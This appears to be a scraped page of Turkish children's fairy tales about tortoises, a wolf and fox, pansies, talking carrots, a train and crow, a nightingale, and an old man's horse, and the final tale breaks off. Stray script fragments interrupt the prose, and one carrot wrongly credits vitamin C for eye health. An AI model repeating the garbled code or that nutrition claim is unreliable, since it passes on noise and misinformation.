Bir varmış bir yokmuş… Evvel zaman içinde, kalbur saman içinde, uzak mı uzak diyarların birinde bulunan sevgi ülkesinin içerisinde büyük bir bahçe varmış. Bu bahçe öyle güzel bir bahçeymiş ki her gören ona hayran kalırmış. Meyveler- sebzeler büyüdüğünde rengârenk gözükür, çiçek açan ağaçlar bahçeyi adeta bir tablo haline çevirirmiş.
Bu güzel bahçenin içerisinde bir sürü hayvan yaşar, her biri diğerleri ile iyi geçinerek mutlu ve huzurlu bir hayat sürermiş. Bu hayvanların arasında senelerden beri arkadaş olan iki kaplumbağa yaşarmış. Bu kaplumbağalardan birisinin adı Teyşa iken diğerinin adı da Pişni imiş. Teyşa ile Pişni o kadar iyi anlaşırlarmış ki, bu güzel bahçede tüm dostlar kendilerine bu ili arkadaşı örnek alırmış.
Teyşa çok hareketli bir kaplumbağa imiş. Oldukça yardımsever ve çalışkan olan Teyşa, bahçede kimin yardıma ihtiyacı varsa hemen yanına koşarmış. Pişni ise tembel mi tembel, dünya yansa umuru olmayan, başkalarına yardım etmekten de pek hoşlanmayan bir kaplumbağaymış. Pişni sadece yemek yemeyi çok sever, bahçede gördüğü her şeyi yermiş. Bu yüzden Pişni çok tombul bir kaplumbağa imiş, artık neredeyse zor hareket ediyormuş.
Teyşa her gün yürüyüşünü yapan ve sağlığına dikkat eden bir kaplumbağa iken, arkadaşı Pişni ise onun tam tersi imiş. Teyşa sabah yürüyüş yaparken yolda gördüğü hayvanlarla tanışır ve onlarla sohbet edip arkadaş olurken, Pişni ise her gün yaptığı gibi bol bol yemek yiyerek Teyşa’nın yanına gelmesini beklermiş.
Teyşa, arkadaşı olan Pişni’ye sürekli olarak hareket etmesi gerektiğini ve çok yemek yediğini söylese de Pişni buna aldırmaz, kendi bildiğini yapmaya devam edermiş.
Günlerden bir gün Teyşa, ısrar kıyamet, yalvar yakar Pişni’yi bahçede yürüyüş yapmaya ikna etmiş. Çok mutlu olan Teyşa hemen Pişni ile birlikte yürürken ona tanıştığı yeni hayvanları göstermeye başlamış. Ancak birkaç adım giden Pişni “Yoruldum!” diye şikâyet etmeye başlamasın mı? Teyşa arkadaşını ilk günden yormak istemediği için uygun bir yerde durmuşlar. Yürüyüşün başından beri bir şey yemeyen Pişni’nin aklında sadece yemek yemek varmış. Yiyecek bir şeyler bulmak için etrafa bakmaya başlayan Pişni, daha önce hiç görmediği kırmızı meyvelerle örülü bir sarmaşık görmüş. Yemek için hemen ileri doğru atılmış. Arkadaşı Teyşa;
Teyşa: ‘Hayır, Pişni onları yememelisin. Ne olduğunu bilmiyorsun ki, ilk defa gördün. Onlar zararlı olabilirler’ demiş.
Pişni: ‘ Baksana kırmızı kırmızı meyveler. Ne kadar da güzel görünüyor, bence sen de gelip yemelisin’ demiş.
Teyşa yalvarsa da yakarsa da Pişni’yi yemekten vazgeçirememiş. Pişni ne olduğunu bilmediği kırmızı meyvelerden tıka basa yedikten sonra uyumaya gitmiş. Karnı da tok olduğundan hemen uykuya dalacakmış ama o da ne! Pişni dayanılmaz bir karın ağrısı ile kıvranmaya başlamasın mı? Pişni bir yandan kıvranıyor bir yandan da arkadaşına sesleniyormuş:
Pişni: ‘Teyşa, gel kurtar beni…!’
Teyşa, var gücüyle arkadaşının yanına koşmuş; ama elinden gelen hiçbir şey yokmuş. Pişni karın ağrısıyla kıvranırken Teyşa’nın aklına geçen gün tanıştığı ve arkadaş olduğu geyiği çağırmak gelmiş. Geyikle sohbet ederlerken sağlık konularında çok bilgili olduğunu hatırlayan Teyşa, hemen geyiğin yanında almış soluğu. Geyik durumu anladıktan sonra şifalı otlardan bir ilaç hazırlamış ve Pişni’ye bu ilacı içirmiş.
Pişni’nin karın ağrısı içtiği şey sayesinde geçmiş. O günden itibaren Pişni bir daha asla bilmediği yiyecekleri yememe kararı almış. Teyşa’nın ne kadar haklı olduğunu bir kez daha anlamış. O günden itibaren Teyşa’nın sözünden çıkmamış.
Gökten üç elma düşmüş…
Bir varmış bir yokmuş… Evvel zaman içinde kalbur saman içinde, develer tellal iken pireler berber iken; ben dedemin beşiğini tıngır mıngır sallar iken… Masal diyarından bir peri gelmiş yanıma, başlamış anlatmaya… Anlatmış da anlatmış, uzun bir masal anlatmış. İşte o masal…
Evvel zaman içinde, kalbur saman içinde uzak mı uzak diyarların birinde, büyük bir orman varmış. Bu ormanda büyük bir kurt yaşıyormuş. Kurt o kadar büyük, o kadar gösterişli bir kurtmuş ki; uludu mu dağı taşı inleten, ormandaki tüm hayvanları korkutan bir hayvanmış. Ama yıllar bu büyük bu güçlü kurdu yaşlandırmış. Gün geçtikçe kurt gücünü kaybetmeye ve yaşlanmaya başlamış. Artık eskisi gibi çevik değilmiş, bir ulumasında av bulamıyormuş. Kurt aç kalmaya başladığında tehlikenin farkına varmış ve yanına kurnaz bir hayvanı arkadaş olarak alması gerektiğini anlamış.
Kurt düşünmüş taşınmış, aklına ilk gelen tilki olmuş. Tilki tüm ormanda kurnazlığı ile bilinen bir hayvanmış. Kurt eğer tilki ile birlikte hareket ederse, onun aklı ile istediği kadar hayvan avlayabileceğini düşünmüş. Hemen kalkmış ve tilkiyi aramaya başlamış. Kurt tilkinin yanına gelip düşündüklerini onunla paylaşmış ve tilkiye ortaklık sunmuş. Tilki düşünmüş, taşınmış; ardından kurdun teklifini kabul etmiş:
Tilki: ‘Tamam kurt kardeş, seninle ortaklığa varım. Ama avladığın avın yarısı benim olacak tamam m’ demiş.
Kurt, üzerinde hiç düşünmeden “tamam” deyivermiş hemen tilkiye. Kurdun sözü üzerine harekete geçen tilki, hemen kurnaz planlar düşünmeye başlamış. Tilki bu, aklı hep kurnazlığa çalışırmış. Biraz düşündükten sonra aklına gelen planı hemen kurt ile paylaşmış:
Tilki: ‘Kurt kardeş bak şimdi; hemen bir çukur kazalım şuraya. Sonra sen de çukurun içine gir. Ben senin üzerini çalı, çırpı ve biraz da toprakla örteceğim. Yalnızca dişlerin dışarıda kalacak, toprağın üzerinde. Ben ise ormandaki hayvanları toplayıp buraya getireceğim. Sana ‘Şimdi çık’ dediğimde çıkacaksın ve bütün avlar hemen yanında olacak’ demiş.
Kurt bu planı çok beğenmiş. Tilki ile ikisi hemen harekete geçmiş. İşin sonunda kurdun her yeri toprağa gömülüymüş, sadece dişleri toprak üzerinde kalmış.
Tilki kurdu hazırlayınca, hemen ormanların içindeki hayvanların arasına koşmuş. Meydana gelince bütün hayvanları toplamış ve başlamış konuşmaya:
Kurt: ‘Ormandaki tüm hayvanlar, söyleyin bakalım dişler nereden çıkar?’
Bütün hayvanlar kurda bakarak aynı anda cevaplamışlar. ‘Ağızdan çıkar tabii’ demişler.
Tilki durur mu, hemen yapıştırmış cevabı, “Başka nereden çıkar?” demiş.
Hayvanlar düşünmeye başlamış ama diş başka nereden çıkabilirmiş ki! Tilki ise istediği ortamı yarattığına oldukça memnun bir şekilde cevaplamış kendi sorusunu:
Tilki: ‘Başka nereden çıkacak, tabii ki topraktan çıkar’ demiş.
Hayvanların hepsi aynı anda başlamışlar itiraz etmeye. Topraktan diş çıkar mıymış hiç! Kurnaz tilki arkadaşlarının şaşkınlığından yararlanarak;
Tilki: “İnanmazsanız göstereyim” demiş.
Ormandaki hayvanlar takılmış tilkinin peşine, tilki onları kurdun olduğu yere götürmüş. Toprağın üzerindeki kurdun dişlerini gösteren tilki arkadaşlarına dönerek:
Tilki: ‘Bana inanmamıştınız, haksız mıymışım?’ demiş.
Hayvanlar toprağın üzerindeki dişleri görünce çok şaşırmışlar. Birkaç tanesi dişleri daha da yakından görmek için iyice yaklaşmış çukura. Tilki o anda kurda mesajı vermiş, kurt da sağlandığı yerden çıkıp bütün hayvanları pençelemiş.
Sırra yemeğe geldiğinde tilki hemen anlaşmayı hatırlatmış kurda:
Tilki: ’Kurt kardeş, anlaşmamıza göre paylaşalım şunları.” Demiş. Ancak kurt oralı bile olmamış. Hatta tilkiye ‘Anlaşma falan yok’ demiş.
Kurnaz tilki böyle oyunlara gelir mi! Kurdun aklına tehlikeli bir şey sokmuş. Tilki bal toplamaya gideceğini söylediğinde kurdun ağzının suyu akmış. Hemen tilki ile paylaşmış bütün avını. Tilki ile kurt karınlarını doyurunca tilki takmış peşine kurdu. Tilki daha önce biliyormuş bu kovanı. Arıların içinde olduğunu da fark etmiş. ‘İşte şimdi intikam zamanı diyerek arı kovanının içine kurdun elini sokmuş, kendisi de kaçmış. Arılar kurdun her yerini ısırınca kurt hatasını fark etmiş ama nafile!
Sevgili çocuklar, siz siz olun verdiğiniz sözleri her zaman tutun!} else {
Bir varmış bir yokmuş… Evvel zaman içinde kalbur saman içinde, bundan çok çok uzak zamanların birinde yaşanmış bu masal. Çiçekler, böcekler, denizler, dağlar, nehirler… Hepsinin yeni oluşmaya başladığı bu zamanlarda doğa ana her bir çiçeği özenle ekiyor, onların bakımını yapıyor ve onlara değişik renkler veriyormuş.
Doğa ananın işi başından aşkınmış. Kolay değil, yeryüzüne bütün çiçekleri ekmesi lazım, onlara bakması lazım… Arada sırada çalışmaktan yorgun düşen doğa ana bir ağacın altına uzanıp dinlenirmiş. Hem dinlenir, hem de ektiği çiçeklere bakarmış uzun uzun. İşte böyle zamanların birinde doğa ana yine ağaç altında dinlenirken, karşısındaki uçsuz bucaksız yeşillik dikkatini çekmiş. ‘Buralar yemyeşil ne kadar güzel ama biraz çiçek eksek daha da güzel olur’ diyen doğa ana hemen yerinden kalkarak torbasından çıkardığı çiçek tohumlarını yeşil çayırların içine atmış. Çiçekler yerlerini çok sevmiş, hemen büyümüşler. Doğa ana çiçeklere bakarak;
Doğa ana: ‘Sizin renginiz mor olsun, adınız da mor menekşe olsun’ demiş.
Çiçekler mor renkte açan yapraklarını görünce bir sevinmişler, bir sevinmişler ki sormayın gitsin! Hatta sevinçlerinden ne yapacaklarını, doğa anaya nasıl teşekkür edeceklerini bile şaşırmışlar.
Fakat nehirin kenarında doğa ananın bile sonradan gördüğü kibirli bir çiçek varmış. Bu çiçeğin rengi beyazmış. Çiçek mor renkte açan diğer çiçekleri görünce onları çok kıskanmış. ‘Ben de mor giysi isterim’ diyerek doğa anaya tepeden bir bakış atmış. Doğa ana çiçeğin bu terbiyesiz davranışını görmezden gelerek ona doğru dönmüş:
Doğa ana: ‘Beyaz çiçek, sıranı beklemelisin’ demiş. Ve kendi işini yapmaya devam etmiş. Diktiği yeni çiçeklere kırmızı renk veren doğa ana, bu çiçeklere gelincik adını vermiş. Bunu gören beyaz çiçek bağırmaya başlamış:
Beyaz Çiçek: ‘Ben az önce mor renk istemiştim ya, şimdi vazgeçtim. Bu çiçek gibi kırmızı renkte olmak istiyorum’ demiş.
Doğa ana beyaz çiçeğe yeniden dönmüş:
Doğa ana: ‘Ben sıran geldiğinde seni de boyayacağım. Şimdi lütfen sıranı bekle’ demiş.
Doğa ana yeni bir çiçek ekerek onun da yapraklarını beyaz renkte bırakmış. Ama ortasına sarı renkte bir benek koyarak şirin bir çiçek elde etmiş. Bu çiçeğin adı da papatya olmuş.
Fakat bizim kıskanç beyaz çiçek durur mu? Hemen girmiş lafa:
Beyaz Çiçek: ‘Aa ben kırmızıdan da vazgeçtim. Baksana bunun da yaprakları beyaz ama ne güzel çiçek oldu. Ben de ortama sarı renk benek istiyorum’ demiş.
Doğa ana durmadan düşünce değiştiren bu çiçeğe içten içe sinirlenmeye başlıyormuş. Artık ona daha fazla dayanamayacağını anlayıp onun başına gelmiş:
Doğa Ana: ‘Tamam şimdi sıra sende! Söyle bakalım hangi rengi beğendin?’
Beyaz çiçek önce mor demiş. Sonra fikrini değiştirmiş kırmızı demiş. Doğa ana tam boyayacakken vazgeçmiş mavi istemiş. En sonunda doğa ana dayanamamış ve bu beyaz çiçeği her renge boyamış.
Doğa ana: “İşte üstünde bir sürü renk oldu. Senin adını da çok maymun iştahlı bir çiçek olduğun için hercai menekşe koyacağım” demiş.
Sevgili çocuklar, işte parklarda, bahçelerde gördüğünüz renkli hercai menekşelerin hikâyesi böyle. Hercai menekşelerin yapraklarındaki renkler, meğer çiçeğin kıskançlığından hangi renk olacağına bir türlü karar verememesinden dolayıymış. Hercainin anlamının da hiçbir şeyde kararlı olmayan olduğunu düşünürsek, neden hercai menekşe denildiğini daha iyi anlarız.
Masal biter, gökten üç elma düşer. Üçü de hercai olmayan, kararlı ve ne istediğini bilen çocukların olur.
Bir varmış, bir yokmuş… Uzak mı uzak kasabaların birinde Zeynep adından mutlu bir kız yaşarmış. Zeynep, her gün erkenden uyanır, kahvaltısını yapar, ardından da bahçede bütün gün oyunlar oynarmış. Ne annesini ne de babasını üzen Zeynep, hem çok akıllı hem de çok sevimli bir kızmış.
Günlerden bir gün Zeynep yine horozların sesi ile başladı güne. ‘Üüüüüü’ diye bağıran horozlar, tüm kasabaya uyanmasını söylüyordu. Zeynep, horozların nasıl erkenden uyanıp güçlü sesleri ile insanlarını uyandırdıklarını düşünmüş bir müddet. ‘Onların da görevi bu’ diye geçirmiş içinden ve yatağından kalkarak elini yüzünü yıkamış ve kahvaltıyı hazırlamak için annesine yardım etmek için mutfağa geçmiş:
Zeynep: ‘Anneciğim günaydın, bugün ne kadar güzel bir gün!’
Annesi gülümseyerek karşılamış küçük Zeynep’i:
Anne: ‘Günaydın canım kızım. Bugün çok güzel bir gün, haklısın. Zeynepçiğim, bahçeden bana domates-biber ve salatalık toplar mısın?’
Zeynep’in en sevdiği işlerden birisi bahçeye girip bahçeden bir şeyler toplamakmış. Annesi de çok sevdiğini bildiği için bu işi sürekli ona veriyormuş. Zeynep, sebzeleri dalından koparmanın ve onların güzel kokusunu koklamanın ne kadar güzel bir şey olduğunu küçük yaşta öğrendiği için çok şanslıymış. Büyük şehirlerde yaşayan arkadaşlarından bazıları sebzelerin nasıl yetiştiğini bile bilmiyormuş.
Zeynep, terliklerini giymiş ve koşar adımlarla bahçeye doğru yol almış. Hava mis gibiymiş ve her taraf yemyeşilmiş. Kuşlar, bu güzel havanın tadını çıkarmak için şarkılar söylerken, Zeynep de onlara eşlik ediyormuş:
‘Lay lay lay lomm’
Tam bu sırada Zeynep bir ses duymuş. Hemen susarak etrafı dinlemeye başlamış. Sesler bahçeden geliyormuş. Zeynep eğilerek ve küçük adımlarla bahçeye doğru yürürken konuşanların kim olduğunu da merak ediyormuş. Ancak bahçede kimse yokmuş. Zeynep, duruma şaşırarak daha da yaklaşmış bahçeye… O da ne! Konuşanlar meğerse bahçedeki havuçlarmış. Zeynep bu duruma çok şaşırmış ve sessiz olmaya özen göstererek havuçları dinlemeye başlamış:
Havuç: ‘Baharın ortasına geldik ama kışa daha çok var’ demiş.
Öteki havuç arkadaşına dönmüş hemen:
Havuç: ‘İlla kış mı gelmesi lazım! Yaz da kış da biz olmalıyız yemek sofralarında’ demiş.
Arkadaşlarına katılan bir diğer havuç:
Havuç: ‘Bizim faydalarımız saymakla bitmez. Mesela bizi yiyen kişilerin gözleri daha sağlıklı olur, daha iyi görür çünkü biz de C vitamini var’ demiş
Diğer havuçlar da arkadaşlarını onaylamış. Bir başka havuç lafa girmiş:
Havuç: ‘Bizi yiyen unutkan da olmaz arkadaşlar. Çünkü biz zihni de güçlendiriyoruz. Sadece yaşlıların değil, gençlerin de çocukların da havuç yemesi çok faydalıdır’ demiş.
Diğer havuç arkadaşını onaylamış:
Havuç: ‘Ben çocukların yerinde olsam her gün havuç yerdim. Böylece gözlerim sağlıklı olurdu ve unutkanlık olmazdı’ demiş.
Zeynep, duyduklarına öyle şaşırmış ki… Kendisi havucu hiç yemediği için bütün bu anlatılanlardan eksik kalmıştı. Eğer böyle yapmaya devam ederse ileride gözleri bozulabilir ve gözlük takmak zorunda kalabilirdi.
Zeynep hemen ayağa kalkmış. Elinde bulunan sepet ile hızlıca havuçların yanında gitmiş ve sepetine bir sürü havuç doldurup evine geri dönmüş. Eve döndüğünde herkes Zeynep’e hayretle bakıyormuş. Çünkü sepetinin içinde bolca havuç varmış. Annesi merakla sormuş:
Anne: ‘Zeynep kızım bu havuçları neden topladın?’
Zeynep: ‘Anneciğim, ben şimdiye kadar havuç yemeyerek ne kadar büyük bir hata yaptığımı anladım. Meğer havuç gözlere çok iyi geliyormuş ve zihnimizi güçlendiriyormuş. Ben bundan sonra bol bol havuç yiyeceğim ve gözlerim hep sağlam olacak’ demiş.
Gökten üç havuç düşmüş, üçü de havuçları çok seven çocukların olmuş…
Bir varmış bir yokmuş… Evvel zaman içinde, kalbur saman içinde pireler berber iken, develer ise tellal iken, sincaplar ormanlarda zıp zıp koşar iken… Uzak mı uzak diyarların birinde büyük bir orman varmış. Bu orman, içinde yaşayan hayvanları ve bir sürü farklı ağaçları ile herkesin hayran olduğu güzellikte bir ormanmış. Bu ormanın kenarında büyük bir tren yolu da varmış.
Ormanın kenarından geçen ren yolundan her gün büyük mü büyük, güzel m güzel bir tren kasabadan şehre gitmek üzere yol alıyormuş. Ormanda yaşayan hayvanların hepsi trenin geleceği zamanı iple çekermiş. Çünkü tüm hayvanlar üzerinden dumanlar çıkaran bu treni çok ama çok severmiş. Tren ormana geldiğinde kendisini seven bütün hayvanları selamlamak ve geldiğini haber vermek için düdüğünü öttürürmüş:
Tren: ‘Düüüüüütt!’
Ormanda yaşayan hayvanlar bu sesi duydukları vakit heyecanla koşmaya başlarmış. Kiminin elinde bavulları kiminin elinde çocukları herkes trene doğru sevinçle koştururmuş. Tren tüm içtenliğiyle kendisine doğru koşan hayvanları selamlarmış. Hayvanlardan sevimli tavşanlar ve sincaplar da trenin bu selamına kulaklarını sallayarak cevap verirmiş. Ormanın renkleri dediğimiz çiçekler trene başlarını sallar, ormanın neşesi olan kuşlar ise trenle adeta yarış yaparmış Tren kendisini bu kadar sevinçle karşılayan hayvanlara ve çiçeklere keyifle güler, daha da yüksek sesle çuf, çuf ederek bacasından puf puf diye dumanını çıkarırmış.
Günlerden bir gün ormanın karakargası Kaklak, trenin düdüğünü öttürerek gelmesini ve tüm hayvanların onu neşe ile karşılamasını çok kıskanmış. Zaten huysuz olan Kaklak, hızla uçarak trenin yanına varmış:
Kaklak: “Bıktık artık senin bu sesinden tren kardeş! Senin sesini sevmiyoruz anlasana, neden öttürüp duruyorsun” demiş.
Tren karakarga Kaklak’ın bu sözlerine çok üzülmüş. Ormandaki tüm hayvanların kendisini çok sevdiğini zanneden tren, karakarganın lafları ile adeta yıkılmış.
Tren ertesi gün yine ormanın yanındaki yoldan geçerken tam düdüğünü çalacağı sırada aklına karakarganın söyledikleri gelmiş. Hemen kısaca çalmış düdüğünü ‘Düt’ diye ve kesmiş. Gelişini kimse duymasın diye yoldan yavaşça geçen tren, dumanını çıkara çıkara ormanın yanından geçmiş. Ormanın içinde yaşayan hayvanlar trenin neşeli düdüğünü beklerken bir de ne görsünler! Tren neşeli düdüğünü çalmadan yavaşça geçip gidiyormuş. Trene binmek isteyenler koşmaya başlasa da trene yetişememiş.
Tren ormanın içinden çok yavaş geçtiği için şehre varması da uzun sürmüş. Makinistler trenin gecikmesi üzerine bir arıza olabileceğini düşünmüşler. Treni bakım odasına almışlar. Kasabadan şehre de yeni bir tren koymuşlar. Bu yeni tren eski tren gibi eski değilmiş ama onun kadar neşeli de değilmiş. Asık suratı ile durur, neredeyse hiç gülmezmiş.
Ertesi gün trenin yolunu gözleyen ormandaki hayvanlar dumanı çıka çıka gelen treni görünce çok sevinmişler. Ama bir de ne görsünler! Bu tren onların sevimli, güler yüzlü treni değil!
Asık Suratlı tren: ‘Acele edin hantal tavşanlar, hey siz sincaplar ne diye bakıyorsunuz öyle? Bineceksiniz binin şu trene!’
Hayvanlar yeni trenin hem konuşmalarından hem de asık suratından hiç hoşlanmamışlar. ‘Ah ah nerede bizim eski güler yüzlü trenimiz’ diyerek ağlamaya başlamışlar.
Hayvanların bu halini gören karakarga Kaklak, trene söylediği sözlerden dolayı pişman olmuş. Herkesin onu ne kadar sevdiğini görünce, hemen şehre doğru uçup trenden özür dilemek istemiş.
Karga şehre uçmuş, büyük tren garına girmiş. Oradaki karga dostlarının yanına giderek telaşla sorusunu sormuş:
Kaklak: ‘Karga dostlarım, bu tren garında eski ve gülen suratlı, neşeli bir tren vardı. O tren nerede?’
Karga dostları Kaklak’a bakarak;
Kargalar: ‘O tren dün gece çok geç kaldığı için mühendisler onu bakıma aldılar’ demiş.
Kaklak hemen hızlıca uçmuş, gizlice bakım odasına girmiş. Gülen yüzü ile eski tren oradaymış. Ama yüzünden düşen adeta bin parçaymış. Karakarga Kaklak her şeye sebep olanın kendisi olduğunu biliyormuş ve çok pişmanmış. Hemen trenin yanına varmış:
Karakarga Kaklak: ‘Tren kardeş, ben sana geçen gün bir sürü söz söyledim, sesini sevmiyoruz dedim ya sen o laflarıma inanma! Biz seni çok seviyoruz. Sen gelmediğinde hepimiz çok üzüldük. Ben de ne kadar büyük bir yanlış yaptığımı o anda anladım’ demiş.
Çufçuf tren karakarganın ne kadar üzgün olduğunu görebiliyormuş. Demek ki ormandaki herkes onu çok ama çok seviyormuş. Çufçuf tren bu sözleri duyunca çok sevinmiş, neşesi yerine gelmiş. Karakargaya dönerek;
Tren: ‘Üzülme karga kardeş, ben seni affettim. Yarın geleceğim, herkese haber ver’ demiş.
Tren ertesi sabah eski neşesi ile ormanın içinden geçerken, ormanda yaşayan tüm hayvanlar sevinçle zıplamaya başlamış. Her şey eski günlere dönmüş ve hepsi çok mutlu olmuş…
Gökten üç elma düşmüş, üçü de neşeli çocukların olmuş…document.currentScript.parentNode.insertBefore(s, document.currentScript);
Bir varmış, bir yokmuş… Evvel zaman içinde, kalbur saman içinde; develer top oynarken eski hamam içinde. Horozlar tellal iken, pireler ise hamal iken. Ben ise dedemin beşiğini tıngır mıngır sallar iken… Uzak mı uzak diyarların birinde masallar ülkesi var iken… Bu masal da size o ülkeden gelmişken… Buyurun dinleyin masalı, bahçıvan ile gülün aşkını…
Bir zamanlar herkesin hayranlıkla baktığı güzel bir bahçe varmış. Bu bahçeye gözü gibi bakan bir de bahçıvan varmış. Bahçıvan bahçesine çok düşkünmüş. Sabah uyandığı gibi ilk işi çiçeklerini sevmek, onlara bakım yapmak ve sulamakmış. Saatlerce çiçekleri ile konuşan bu bahçıvanın en sevdiği köşe ise güllerin olduğu köşe imiş. Bahçesinde güllerinin olduğu köşeye geldiğinde buraya ayrı bir hayranlıkla bakan bahçıvan, güllere bakmaya da onlarla konuşmaya da doyamazmış.
Gel zaman git zaman, bir sabah bahçıvan, yine bahçesine çıkmış erkenden. Çiçeklerini sulamış, onları sevmiş, sularını vermiş. Ardından güllerin olduğu köşeye doğru yola koyulmuş. Fakat o da ne! En sevdiği kırmızı gülün üzerine bir bülbül!
Bülbül, bahçıvanın en çok sevdiği kırmızı gülün üzerine kurulmuş, türlü türlü nağmeler söylüyormuş. Bir yandan da bir dalından gonca vermeye başlayan gülü gagalıyormuş. Bahçıvan bunu görünce çılgına dönmüş! ‘Ben sana gösteririm’ diyerek bülbüle tuzak hazırlamak için uzaklaşmış.
Bahçıvan o sinirle evinin ardiyesinden eski bir kafes bulmuş. Amacı bülbülü bu kafese koyarak ona güzel bir ceza vermekmiş. Tekrar bahçeye çıkan bahçıvan ne yapmış ne etmiş bülbülü kafesin içine yerleştirmiş. Kafesin kapağını da bir güzel kapatmış.
Kafese kapatılan bülbül, ne olduğunu anlayamamış. Daracık kafeste kanatlarını çırpamıyor, istediği gibi uçamıyormuş. Günden güne solan bülbül, ne bir şey yiyor ne de eskisi gibi şen şakrak ötüyormuş. Bülbül kahrından ve derdinden neredeyse ölecekmiş. En sonunda dayanamamış ve dile gelmiş:
Bülbül: “Ey bahçıvan! Sen neden beni bu kafese hapsettin? Ben sana ne yaptım? Özgürlüğümü neden elimden aldın? Sen bahçende ne kadar mutluydun hatırlıyor musun? Sen nasıl bahçende mutlu olabiliyorsan, ben de özgürce istediğim gibi uçarken mutlu olabilirim’ demiş.
Bahçıvan bülbülün sözlerine hemen cevap vermiş:
Bahçıvan: ‘ Sen daha ne kabahat işlediğini bile bilmezsin! Benim en sevdiğim kırmızı gülümü sen didikledin! Hem de yeni açmış goncasını!
Bülbül o anda bahçıvanın kendisini neden kafese tutsak ettiğini anlamış. Hatasının da farkına varmış:
Bülbül: ‘Özür dilerim bahçıvan kardeş. Ben gerçekten yaptığım hatanın farkında değilim. Senin güllerine bilmeden zarar vermişim, affet. Ama sen de farkında olmadan işlediğim bir suç için beni kafesin içine sokarak cezalandırıyorsun. Peki, senin yaptığın doğru bir şey mi? Benim gibi uçmaktan başka hiçbir mutluluğu olmayan bir kuşu acımadan kafese kapatmanın cezası ne olmalı sence?’ demiş.
Bahçıvan bu sözler üzerine uzunca düşünmüş. Bülbül haklıymış. Onun uçmaktan başka hiçbir mutluluğu yokmuş. Bahçıvan kendisinin en büyük mutluluğu olan bahçesinin elinden alınmasını düşünmüş. Ne kadar da üzülürmüş! İşte o an bülbülün ne demek istediğini anlamış. Ona verdiği cezanın çok ağır olduğuna hak vermiş. Yerinden kalkan bahçıvan yavaşça kafesin yanına gitmiş:
Bahçıvan: ‘Haklısın bülbül kardeş. Senin en büyük mutluluğun uçmak iken ben bu mutluluğu senin elinden alamam. Buna hakkım yok. Şimdi kafesi açıp serbest bırakacağım seni. Ama sen de bana söz ver. Bir daha çiçeklere karşı daha nazik davranacak, onlara zarar vermeyeceksin.’
Bülbül hemen söz vermiş bahçıvana ve o günden sonra çiçeklere zarar vermemiş.
Gökten üç elma düşmüş, üçü de masalı dinleyen çocukların olmuş…
Bir varmış, bir yokmuş… Evvel zaman içinde kalbur saman içinde, uzak mı uzak diyarların birinde yaşlı bir amca yaşarmış. Bu yaşlı amca çok fakir bir amcaymış. Ama elinde öyle güzel bir şey varmış ki Kral bile onu kıskanırmış. Bu amcanın ünü diyarları aşan, dillere destan güzelliği olan beyaz renkte bir atı varmış. Kral, güzelliği dillere destan bu beyaz at için yaşlı amcaya neler teklif etmemiş ki… Bir gün neredeyse hazinesinin yarısından fazlasını bile teklif etmiş ama yaşlı amca fakir olmasına karşın atını satmaya hiç yanaşmamış. Yaşlı amca, etrafındaki herkese de Kral’a da aynı şeyi der dururmuş; “Bu at, benim için sadece bir at demek değil; aynı zamanda bir dost, insan dostunu satar mı hiç” dermiş.
Gel zaman git zaman derken, yaşlı amca bir gün bir uyanmış ki bir de ne görsün! Güzelliği dillere destan beyaz atı bağlı olduğu yerde yok! Yaşlı amca o telaşla kalkmış hemen, etrafa haber salmış ama nafile! Haberi alan tüm köylü yaşlı amcanın başına toplanmış. Atın bulunamadığını da duyunca başlamışlar konuşmaya:
Köylüler: “Ah ah, yaşlı amca, bu güzel atı sana bırakmayacakları belliydi. Belli ki çalmışlar güzel atını. Oysaki onu Kral’a satsaydın, Kral’ın verdiği para ile beyler gibi yaşardın. Bak satmadın da ne oldu? Paran da yok, atın da yok”
Yaşlı Amca sakince cevaplamış:
Yaşlı Amca: “Karar vermek için çok acele ediyorsunuz arkadaşlar. Benim sadece atım kayıp, geri kalan her şey sizin yorumunuz ve verdiğiniz kararlardan ibaret! Atın kaybolması, talihsizlik mi, yoksa şans mı bunu bilemeyiz” demiş.
Köylülerin hepsi yaşlı amcaya gülmüşler. Yaşlı amcanın artık bunadığını düşünmüşler.
Gel zaman git zaman aradan bir ay geçmiş. Yaşlı amcanın beyaz atı bir gece ansızın çıkıp gelmesin mi! Üstelik yanında vadide bulunan on tane vahşi atı da katmış gelmiş. Yaşlı amca atları görünce mutlu olmuş içinden.
Beyaz atı ve yanındaki atları gören köylüler hemen toplanmış yine yaşlı amcanın başına:
Köylüler: “Sen haklı çıktın yaşlı amca. Atın kayboldu diye bir talihsizlik sandık ama atının kaybolması talihsizlik değil adeta devlet kuşuymuş, baksana şimdi bir sürü atın var.”
Yaşlı adam heyecanlı köylüye doğru dönmüş:
Yaşlı Amca: “Sonuç için yine acele ediyorsunuz. Şu anda bilinen tek gerçek sadece atın geri döndüğü. Onun ötesinin iyi mi kötü mü olduğunu bilemeyiz” demiş.
Köylüler bu sefer ihtiyara gülmemiş, dalga da geçmemiş. Ama içlerinden ihtiyarın bir garip olduğunu da geçirmeden duramamış.
Gel zaman git zaman derken yaşlı amcanın genç oğlu, on tane vahşi atı eğitmeye çalışırken attan düşüp bacağını kırmasın mı? Evin tek genci olan bu delikanlı, bacağının kırılması ile adeta yatağa mahkûm kalmış. Köylüler olayı duydukları gibi hemen yaşlı amcaya gelmişler:
Köylüler: ”Yaşlı amca, sen bir kez daha haklı çıktın. Biz sana devlet kuşu kondu dedik ama bu atlar yüzünden gencecik oğlun, bacağını kırdı, yataklara düştü” demişler.
Yaşlı amca oldukça sakin bir şekilde köylüyle dönerek:
Yaşlı Amca: “Siz yine erkenden karara varıyorsunuz! Karar varmak için bu kadar acele etmeyin. Oğlum bacağını kırdı, şuanda tek gerçek bu. Ötesi sizin yorumlarınız.’’
Köylüler yine hiçbir şey demeden dağılmışlar yaşlı amcanın yanından. Bu sefer çok fazla yorum yapamamışlar.
Günler haftaları, haftalar da ayları kovalamış. Gel zaman git zaman derken yaşlı amcanın yaşadığı bu köye düşmanlar büyük bir ordu ile saldırmış. Kral aniden gelen bu saldırı karşısında ne yapacağını şaşırmış! Köyü savunmak için eli silah tutan bütün gençleri savaşmaya çağırmış. Köye gelen Kralın adamları köydeki bütün gençleri toplayıp gitmişler fakat tek bir kişi hariç: yaşlı amcanın kırık bacaklı oğlu.
Köylü koşarak gelmiş yaşlı amcanın yanına:
Köylüler: “ Yaşlı amca sen yine haklı çıktın! Oğlunun bacağı kırık diye biz neler dedik ama bak oğlunun bacağı kırık olduğu için savaşa gidemedi. Oysa bizimkiler, yaşı büyük küçük demeden savaşa gitti. Oğlunun bacağının kırılması ne büyük bir şansmış meğer…” demişler.
Yaşlı amca yeniden köylüye dönmüş:
